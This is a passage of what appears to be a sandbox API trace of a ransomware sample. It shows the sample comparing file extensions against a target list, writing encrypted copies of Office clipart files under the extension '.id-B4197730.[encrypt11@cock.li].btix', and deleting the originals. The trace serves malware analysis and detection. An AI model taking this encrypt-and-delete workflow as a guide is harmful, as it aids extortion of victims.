Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0154.893] lstrlenW (lpString=".1cd") returned 4 [0154.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0154.893] lstrlenW (lpString=".jpg") returned 4 [0154.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.893] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.893] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.894] GetLastError () returned 0x0 [0154.894] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2a80, lpOverlapped=0x0) returned 1 [0154.895] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2a90, lpOverlapped=0x0) returned 1 [0154.896] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.896] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.896] SetEndOfFile (hFile=0x354) returned 1 [0154.896] CloseHandle (hObject=0x354) returned 1 [0154.896] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.896] SetEndOfFile (hFile=0x378) returned 1 [0154.897] CloseHandle (hObject=0x378) returned 1 [0154.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0154.898] lstrlenW (lpString=".doc") returned 4 [0154.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString=".docx") returned 5 [0154.898] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.898] lstrlenW (lpString=".pdf") returned 4 [0154.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString=".xls") returned 4 [0154.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.898] lstrlenW (lpString=".xlsx") returned 5 [0154.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.898] lstrlenW (lpString=".ppt") returned 4 [0154.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0154.898] lstrlenW (lpString=".zip") returned 4 [0154.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.899] lstrlenW (lpString=".rar") returned 4 [0154.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.899] lstrlenW (lpString=".bz2") returned 4 [0154.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.899] lstrlenW (lpString=".7z") returned 3 [0154.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0154.899] lstrlenW (lpString=".dbf") returned 4 [0154.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0154.899] lstrlenW (lpString=".1cd") returned 4 [0154.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68 [0154.899] lstrlenW (lpString=".jpg") returned 4 [0154.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.901] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.901] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.901] GetLastError () returned 0x0 [0154.901] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xe70, lpOverlapped=0x0) returned 1 [0154.902] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xe80, lpOverlapped=0x0) returned 1 [0154.903] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.903] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.903] SetEndOfFile (hFile=0x354) returned 1 [0154.903] CloseHandle (hObject=0x354) returned 1 [0154.904] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.904] SetEndOfFile (hFile=0x378) returned 1 [0154.904] CloseHandle (hObject=0x378) returned 1 [0154.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0154.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0154.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0154.905] lstrlenW (lpString=".doc") returned 4 [0154.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.905] lstrlenW (lpString=".docx") returned 5 [0154.905] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.905] lstrlenW (lpString=".pdf") returned 4 [0154.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.905] lstrlenW (lpString=".xls") returned 4 [0154.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.905] lstrlenW (lpString=".xlsx") returned 5 [0154.905] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.905] lstrlenW (lpString=".ppt") returned 4 [0154.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0154.905] lstrlenW (lpString=".zip") returned 4 [0154.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.905] lstrlenW (lpString=".rar") returned 4 [0154.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.905] lstrlenW (lpString=".bz2") returned 4 [0154.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.906] lstrlenW (lpString=".7z") returned 3 [0154.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0154.906] lstrlenW (lpString=".dbf") returned 4 [0154.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0154.906] lstrlenW (lpString=".1cd") returned 4 [0154.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0154.906] lstrlenW (lpString=".jpg") returned 4 [0154.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.906] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.906] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.906] GetLastError () returned 0x0 [0154.906] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xd28, lpOverlapped=0x0) returned 1 [0154.908] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xd30, lpOverlapped=0x0) returned 1 [0154.908] ReadFile (in: hFile=0x378, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0154.909] WriteFile (in: hFile=0x354, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0154.909] SetEndOfFile (hFile=0x354) returned 1 [0154.909] CloseHandle (hObject=0x354) returned 1 [0154.909] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.909] SetEndOfFile (hFile=0x378) returned 1 [0154.910] CloseHandle (hObject=0x378) returned 1 [0154.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0154.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0154.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0154.910] lstrlenW (lpString=".doc") returned 4 [0154.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.910] lstrlenW (lpString=".docx") returned 5 [0154.910] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.910] lstrlenW (lpString=".pdf") returned 4 [0154.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.910] lstrlenW (lpString=".xls") returned 4 [0154.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.910] lstrlenW (lpString=".xlsx") returned 5 [0154.910] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.910] lstrlenW (lpString=".ppt") returned 4 [0154.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0154.911] lstrlenW (lpString=".zip") returned 4 [0154.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.911] lstrlenW (lpString=".rar") returned 4 [0154.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString=".bz2") returned 4 [0154.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString=".7z") returned 3 [0154.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0154.911] lstrlenW (lpString=".dbf") returned 4 [0154.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0154.911] lstrlenW (lpString=".1cd") returned 4 [0154.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0154.911] lstrlenW (lpString=".jpg") returned 4 [0154.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.228] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.228] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.229] GetLastError () returned 0x0 [0155.229] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0155.232] WriteFile (in: hFile=0x358, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0155.233] ReadFile (in: hFile=0x38c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.233] WriteFile (in: hFile=0x358, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.233] SetEndOfFile (hFile=0x358) returned 1 [0155.233] CloseHandle (hObject=0x358) returned 1 [0155.234] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.234] SetEndOfFile (hFile=0x38c) returned 1 [0155.234] CloseHandle (hObject=0x38c) returned 1 [0155.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0155.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0155.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0155.235] lstrlenW (lpString=".doc") returned 4 [0155.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.235] lstrlenW (lpString=".docx") returned 5 [0155.235] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.235] lstrlenW (lpString=".pdf") returned 4 [0155.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.235] lstrlenW (lpString=".xls") returned 4 [0155.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.236] lstrlenW (lpString=".xlsx") returned 5 [0155.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.236] lstrlenW (lpString=".ppt") returned 4 [0155.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0155.236] lstrlenW (lpString=".zip") returned 4 [0155.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.236] lstrlenW (lpString=".rar") returned 4 [0155.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.236] lstrlenW (lpString=".bz2") returned 4 [0155.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.236] lstrlenW (lpString=".7z") returned 3 [0155.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0155.236] lstrlenW (lpString=".dbf") returned 4 [0155.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0155.236] lstrlenW (lpString=".1cd") returned 4 [0155.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0155.236] lstrlenW (lpString=".jpg") returned 4 [0155.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.242] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.242] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.243] GetLastError () returned 0x0 [0155.243] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1884, lpOverlapped=0x0) returned 1 [0155.268] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1890, lpOverlapped=0x0) returned 1 [0155.269] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.269] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.269] SetEndOfFile (hFile=0x36c) returned 1 [0155.279] CloseHandle (hObject=0x36c) returned 1 [0155.286] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.286] SetEndOfFile (hFile=0x348) returned 1 [0155.289] CloseHandle (hObject=0x348) returned 1 [0155.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0155.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0155.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0155.290] lstrlenW (lpString=".doc") returned 4 [0155.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.290] lstrlenW (lpString=".docx") returned 5 [0155.290] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.290] lstrlenW (lpString=".pdf") returned 4 [0155.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.290] lstrlenW (lpString=".xls") returned 4 [0155.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.290] lstrlenW (lpString=".xlsx") returned 5 [0155.290] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.290] lstrlenW (lpString=".ppt") returned 4 [0155.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0155.290] lstrlenW (lpString=".zip") returned 4 [0155.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.290] lstrlenW (lpString=".rar") returned 4 [0155.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.290] lstrlenW (lpString=".bz2") returned 4 [0155.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.290] lstrlenW (lpString=".7z") returned 3 [0155.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0155.291] lstrlenW (lpString=".dbf") returned 4 [0155.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0155.291] lstrlenW (lpString=".1cd") returned 4 [0155.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0155.291] lstrlenW (lpString=".jpg") returned 4 [0155.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.295] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.295] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.299] GetLastError () returned 0x0 [0155.299] ReadFile (in: hFile=0x390, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x785c, lpOverlapped=0x0) returned 1 [0155.307] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7860, lpOverlapped=0x0) returned 1 [0155.308] ReadFile (in: hFile=0x390, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.308] WriteFile (in: hFile=0x35c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: 